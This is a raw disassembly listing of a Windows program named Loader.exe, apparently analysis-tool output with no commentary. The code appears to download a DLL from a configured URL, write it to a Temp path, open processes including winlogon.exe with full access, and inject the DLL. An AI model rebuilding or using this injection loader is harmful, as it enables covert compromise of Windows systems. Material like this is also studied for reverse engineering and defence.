cmp ax, word [rbx]
jne 0x140023d27
add rbx, 2
sub rcx, 1
jne 0x140023d10
mov bl, 1
jmp 0x140023d29
xor bl, bl
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140023d69
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023d64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024886
call fcn.1400ab300
test bl, bl
je 0x140023e33
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov rcx, rax
call fcn.140009490
movzx ebx, al
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x70]
test bl, bl
je 0x140023def
xor r8d, r8d
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
lea rcx, [rbp - 0x20]
call fcn.140004030
jmp 0x1400240a8
mov r8d, 0x67
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
lea rcx, [rbp - 0x20]
call fcn.140004030
jmp 0x1400240a8
lea r8, str.inject_way
lea rdx, [rbp - 0x20]
call fcn.14001f340
mov rdx, rsi
mov rcx, rax
call fcn.140027890
movzx ebx, al
lea rcx, [rbp - 0x20]
call fcn.140003ed0
test bl, bl
je 0x1400240a8
lea rcx, [rbp + 0x88]
call fcn.14001fd20
mov rbx, rax
lea rcx, [rbp]
call fcn.14000af70
nop
lea r8, str.Temp_
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.140027790
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.140027870
nop
lea r8, str..dll
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140027790
nop
lea rcx, [rbp + 0xa8]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x28]
call fcn.140003ed0
nop
lea rcx, [rbp]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x88]
call fcn.140003ed0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x68]
call fcn.1400083c0
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.14001f8e0
nop
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14001e0b0
nop
lea rcx, [rbp - 0x20]
call fcn.1400073f0
movzx ebx, al
lea rcx, [rbp - 0x20]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x188]
call fcn.140003ed0
test bl, bl
jne 0x140023f83
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x188]
call fcn.1400083c0
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.14001f8e0
nop
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14001e0b0
nop
lea rcx, [rbp - 0x20]
call fcn.14001e390
nop
lea rcx, [rbp - 0x20]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x68]
call fcn.140003ed0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x20]
call fcn.140008600
nop
lea rcx, [rbp - 0x20]
call fcn.1400073f0
movzx ebx, al
lea rcx, [rbp - 0x20]
call fcn.140003ed0
test bl, bl
je 0x140023fc2
lea rcx, [rbp + 0xe8]
call fcn.140003ec0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0xe8]
call fcn.140003ec0
mov rcx, rax
lea rdx, [0x1400ff138]
call fcn.1400b7414
mov rbx, rax
lea rcx, [rbp + 0x48]
call fcn.140004020
mov r9, rbx
mov r8, qword [rbp + 0x58]
mov edx, 1
mov rcx, rax
call fcn.1400bb4b8
mov rcx, rbx
call fcn.1400bae00
lea rcx, [rbp + 0xe8]
call fcn.140003ec0
mov rdx, rax
mov ecx, edi
call fcn.14000e080
lea rcx, [rbp - 0x70]
test eax, eax
je 0x14002405b
mov r8d, 1
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
jmp 0x140024091
mov r8d, 0x69
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
lea rcx, [rbp - 0x20]
call fcn.140004030
nop
lea rcx, [rbp + 0xe8]
call fcn.140003ed0
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x1400246ac
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400240e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002488c
call fcn.1400ab300
jmp 0x1400246ac
lea r8, str.inject_way
lea rdx, [rbp + 0xa8]
call fcn.14001f340
mov r8, rax
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140024110
mov r8, qword [rax]
cmp rdx, 0xb
jne 0x140024138
lea rcx, str.half_memory
sub r8, rcx
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140024138
add rcx, 2
sub rdx, 1
jne 0x140024120
mov bl, 1
jmp 0x14002413a
xor bl, bl
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x140024180
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002417b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024892
call fcn.1400ab300
test bl, bl
je 0x1400245d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
lea r8, str.LoaderDLLURL
lea rdx, [rbp + 0xa8]
call fcn.14001f340
nop
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.1400058c0
lea rdx, [rbp + 0x68]
mov rcx, rax
call fcn.140022620
movzx ebx, al
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x14002421a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024215
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024898
call fcn.1400ab300
test bl, bl
jne 0x1400242a2
mov r8d, WSASetLastError
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400244b9
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024298
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002489e
call fcn.1400ab300
jmp 0x1400244b9
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x188]
call fcn.140003f40
mov rcx, rax
call fcn.14000df20
mov edi, eax
lea rcx, [rbp + 0x1a8]
call fcn.14001fd20
mov rbx, rax
lea rcx, [rbp + 0x1e0]
call fcn.14000af70
nop
mov r8d, 6
lea rdx, str.Temp_
mov rcx, rax
call fcn.1400059e0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov r8, rbx
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x188]
call fcn.140027870
nop
lea r8, str..dll
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140027790
nop
lea rcx, [rbp + 0x188]
call fcn.140003ed0
nop
lea rcx, [rbp - 0x20]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x1e0]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x1a8]
call fcn.140003ed0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xa8]
call fcn.1400083c0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.14001f8e0
nop
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14001e0b0
nop
lea rcx, [rbp - 0x20]
call fcn.1400073f0
movzx ebx, al
lea rcx, [rbp - 0x20]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x28]
call fcn.140003ed0
test bl, bl
jne 0x140024404
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xa8]
call fcn.1400083c0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.14001f8e0
nop
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14001e0b0
nop
lea rcx, [rbp - 0x20]
call fcn.14001e390
nop
lea rcx, [rbp - 0x20]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x28]
call fcn.140003ed0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x20]
call fcn.140008600
nop
lea rcx, [rbp - 0x20]
call fcn.1400073f0
movzx ebx, al
lea rcx, [rbp - 0x20]
call fcn.140003ed0
test bl, bl
je 0x140024443
lea rcx, [rbp + 0xe8]
call fcn.140003ec0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0xe8]
call fcn.140003ec0
mov rcx, rax
lea rdx, [0x1400ff138]
call fcn.1400b7414
mov rbx, rax
test rax, rax
jne 0x1400244ff
lea r8d, [rax + 0x6c]
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
lea rcx, [rbp - 0x20]
call fcn.140004030
nop
lea rcx, [rbp + 0xe8]
call fcn.140003ed0
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x1400246d5
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400246cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247e8
jmp 0x1400246cf
lea rcx, [rbp + 0x68]
call fcn.140004020
mov r9, rbx
mov r8, qword [rbp + 0x78]
mov edx, 1
mov rcx, rax
call fcn.1400bb4b8
mov rcx, rbx
call fcn.1400bae00
lea rcx, [rbp + 0xe8]
call fcn.140003ec0
mov rdx, rax
mov ecx, edi
call fcn.14000e080
lea rcx, [rbp - 0x70]
test eax, eax
je 0x14002457a
mov r8d, 2
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
jmp 0x1400245b0
mov r8d, 0x68
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
lea rcx, [rbp - 0x20]
call fcn.140004030
nop
lea rcx, [rbp + 0xe8]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x68]
jmp 0x1400246a7
lea r8, str.inject_way
lea rdx, [rbp - 0x20]
call fcn.14001f340
mov r8, rax
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x1400245f1
mov r8, qword [rax]
cmp rdx, 9
jne 0x140024619
lea rcx, str.no_inject
sub r8, rcx
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140024619
add rcx, 2
sub rdx, 1
jne 0x140024601
mov bl, 1
jmp 0x14002461b
xor bl, bl
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14002465b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024656
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400248a4
call fcn.1400ab300
test bl, bl
je 0x1400246ac
call fcn.140021480
call fcn.1400207b0
mov r8d, 5
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rcx, [rbp - 0x20]
call fcn.140004020
mov r8, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
lea rcx, [rbp - 0x20]
call fcn.140004030
mov rbx, qword [0x14011cfc8]
mov qword [0x14011cfc8], r12
test rbx, rbx
je 0x1400246d5
mov rcx, rbx
call fcn.14000e370
mov edx, Ordinal_217
mov rcx, rbx
call fcn.1400ab300
nop
lea rcx, [rbp + 0x200]
call fcn.14000e370
nop
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x140024723
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002471e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400248aa
call fcn.1400ab300
mov qword [rbp + 0x158], r12
mov qword [rbp + 0x160], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0x180]
cmp rdx, 0xf
jbe 0x14002477a
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024774
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247c4
call fcn.1400ab300
nop
lea rcx, [rbp - 0x48]
call sym.Loader.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor eax, eax
mov rcx, qword [rbp + 0x520]
xor rcx, rsp
call fcn.1400ab2e0
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
int3
call fcn.1400b5948
int3
call fcn.1400b5948
int3
call fcn.1400b5948
nop
call fcn.1400b5948
int3
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
int3
call fcn.1400b5948
nop
call fcn.1400085e0
int3
call fcn.140001450
nop
call fcn.1400b5948
int3
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
mov ecx, 5
call fcn.1400a9bd4
int3
mov dword [rbp + 0x284], 0x7ffffffe
mov ecx, 6
call fcn.1400a9bd4
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
int3
call fcn.1400b5948
int3
call fcn.1400b5948
nop
call fcn.1400b5948
int3
call fcn.1400b5948
nop
call fcn.1400b5948
int3
call fcn.1400b5948
nop
call fcn.1400b5948
nop
call fcn.1400b5948
int3